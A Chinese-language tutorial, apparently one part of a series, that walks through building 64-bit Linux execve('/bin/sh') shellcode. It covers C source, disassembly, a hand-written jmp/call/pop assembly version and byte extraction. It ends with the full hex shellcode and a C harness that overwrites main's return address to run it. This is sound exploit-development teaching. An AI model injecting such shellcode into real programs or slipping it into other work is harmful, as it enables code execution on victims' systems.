1. 概說

shell我們都知道是什麼了吧！ 狹義的shellcode 就是一段可以執行shell的程式碼！

構造一段shellcode的作用就是為了在緩衝區溢位時將shellcode的地址覆蓋掉正常的返回地址。

shellcode通常放在緩衝區內，也可以通過環境變數存入堆內，也可以通過動態記憶體放入堆區。

下面我們學習一下怎樣構造shellcode。

注意： 我是在Centos 64位的系統下進行測試和構建shellcode的，shellcode的高階技巧可以支援不同平臺的移植，但下面構建的shellcode並不適合多平臺。

2. shellcode原始碼

下面是shellcode的c程式碼

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    char *code[2];
    code[0] = "/bin/sh";
    code[1] = NULL;

    execve(code[0], code, NULL);

    return 0;
}

以上程式碼編譯執行可以得到一個shell（命令列）。

1. execve 是 Unix/Linux下exec函式，Linux一般是用fork建立新程序，用exec來執行新的程式
2. exec有六個函式，其中只有execve是系統呼叫，其它五個exec函式最後都要呼叫execve。

3. 反彙編

我們將上面的程式碼進行編譯，然後反彙編。

編譯： gcc -o shellcode shellcode.c
反彙編：objdump -d shellcode > shellcode.s

shellcode.s 是我們得到的反彙編程式碼， 我們只需要關注main部分的：

0000000000400530 <main>:
  400530:       55                      push   %rbp
  400531
 
:       48 89 e5                mov    %rsp,%rbp
  400534:       48 83 ec 20             sub    $0x20,%rsp
  400538:       89 7d ec                mov    %edi,-0x14(%rbp)
  40053b:       48 89 75 e0             mov    %rsi,-0x20(%rbp)
  40053f:       48 c7 45 f0 00 06 40    movq   $0x400600,-0x10(%rbp)
  400546:       00 
  400547:       48 c7 45 f8 00 00 00    movq   $0x0,-0x8(%rbp)
  40054e:       00 
  40054f:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  400553:       48 8d 4d f0             lea    -0x10(%rbp),%rcx
  400557:       ba 00 00 00 00          mov    $0x0,%edx
  40055c:       48 89 ce                mov    %rcx,%rsi
  40055f:       48 89 c7                mov    %rax,%rdi
  400562:       e8 b9 fe ff ff          callq  400420 <execve@plt>
  400567:       b8 00 00 00 00          mov    $0x0,%eax
  40056c:       c9                      leaveq
  40056d:       c3                      retq
  40056e:       66 90                   xchg   %ax,%ax

參照上面的反彙編程式碼，我們手工用匯編語言重寫上面的shellcode.c，如下：

.section .text
.global _start
_start:
jmp     cl
pp: popq %rcx
pushq   %rbp
mov     %rsp, %rbp
subq    $0x20, %rsp
movq    %rcx, -0x10(%rbp)
movq    $0x0,-0x8(%rbp)
mov     $0, %edx
lea     -0x10(%rbp), %rsi
mov     -0x10(%rbp), %rdi
mov     $59, %rax
syscall
cl:call pp
.ascii "/bin/sh"

上面的彙編程式碼，我們儲存為檔案： scode.s

shellcode的模板一般都是這樣的：
jmp xxx
pop xxx
xxxxxxxx
call pop address
.string

這裡面的一個jmp和一個call首尾呼應，是shellcode用來得到.string裡面內容的一個好辦法

想要編寫shellcode，就要理解目的程式呼叫shellcode時的難點，下面是上面的彙編程式碼的解釋：

shellcode最麻煩的一點就是要將字串“/bin/sh”作為引數傳遞，shellcode被寫入緩衝區後，程式碼的位置是不固定的，為了能夠得到”/bin/sh”這個字串，黑客們利用call指令，因為call指令執行的第一個動作就是將下一條指令的地址壓棧，我們把字串安排在call後，目的就是要把它壓入棧中。

1. scode.s入口第一條指令： jmp cl #這是跳到cl標籤處，亦即 call pp。
2. call pp #將字串壓棧，同時返回到上面pp標籤處
3. popq %rcx #將字串”/bin/sh”的地址存入rcx（通用暫存器），這裡可以選擇其它暫存器。

4. 接下來的三條指令是建立一個新的棧空間：
   　　　　　　　　　　　　　　　　　　　　pushq %rbp
   　　　　　　　　　　　　　　　　　　　　mov %rsp, %rbp
   　　　　　　　　　　　　　　　　　　　　subq $0x20, %rsp
   在真正注入的shellcode程式碼裡，可以不用建立這個棧，但這裡演示程式在單獨執行時，”/bin/sh”字串是放在了程式碼段裡，是不允許修改的空間，所以要建棧將這個字串複製過去。

5. movq %rcx, -0x10(%rbp) 　　#將字串複製到棧

6. movq $0x0,-0x8(%rbp)　　　#建立呼叫exec時的引數name[1]，將它置0.
7. lea -0x10(%rbp), %rsi 　　#這是execve第二個引數，它需要**型別，所以用lea傳送地址給rsi。
8. mov -0x10(%rbp), %rdi 　　#mov將字串傳給rdi，這是execve第一個引數。
9. mov $59, %rax 　　#這個59是execve的系統呼叫號，在/usr/include/asm/unistd_64.h裡可以查詢到.
10. syscall 　　　　　　#系統呼叫， 這個可以取代 int 0x80 .

不用考慮返回退出，程式碼基本無問題，下面進行編譯和連線。

編譯：　　as -o scode.o scode.s
連線： 　ld -o scode scode.o
用objdump反彙編scode，主要目的是提取二進位制機器碼，為了方便顯示，二進位制一般表示為十六進位制。
這裡有一條命令，可以直接輸出到可以用在c語言的shellcode：

for i in $(objdump -d scode | grep “^ ” |cut -f2); do echo -n ‘\x’$i; done;

最後得到的shellcode程式碼如下：

\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

4. 測試shellcode

下是用c語言寫一個測試shellcode的程式：

#include <stdio.h>

unsigned char code[] =  "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
                        "\x83\xec\x20\x48\x89\x4d\xf0\x48"
                        "\xc7\x45\xf8\x00\x00\x00\x00\xba"
                        "\x00\x00\x00\x00\x48\x8d\x75\xf0"
                        "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
                        "\x00\x00\x00\x0f\x05\xe8\xd0\xff"
                        "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
; /*  code 就是我們上面構造的 shellcode */

void main(int argc, char *argv[])
{
    long *ret;
    ret = (long *)&ret + 2;
    (*ret) = (long)code;
}

1. 因為是64位系統，地址是有64位寬度的，所以要用long型別
2. ret 作為main的第一個區域性變數，它必定是儲存在main的棧空間內，其中long * ret 這條指令佔據了一個64位， 當ret地址加1（64位）時，ret就到到達棧的基址位置（rbp），我在（一）這文章裡分析過，main函式的返回地址還在棧基址之上的高地址中，它距離rbp還有64位寬度，所以ret需要加上2（2個64位）才能到達main的返回地址的儲存位置。
3. (*ret) = (long)code ， 很明顯就是要用code的地址將main返回地址覆蓋。

另外，由於系統設定了堆疊執行保護，gcc編譯時需要使用引數：-fno-stack-protector -z execstack

5. shellcode 之後

shellcode 除了取得shell外，還有很多不同的功能，構建shellcode還有很多不同的方法，這裡只是很基本的方法。

現代系統都有堆疊執行保護，有方法可以繞過這些保護不？

答案是有的，所謂道高一尺，魔高一丈！

上面的shellcode並不涉及緩衝區溢位，亦不適用緩衝區溢位，原因是什麼呢？

且看下回分解。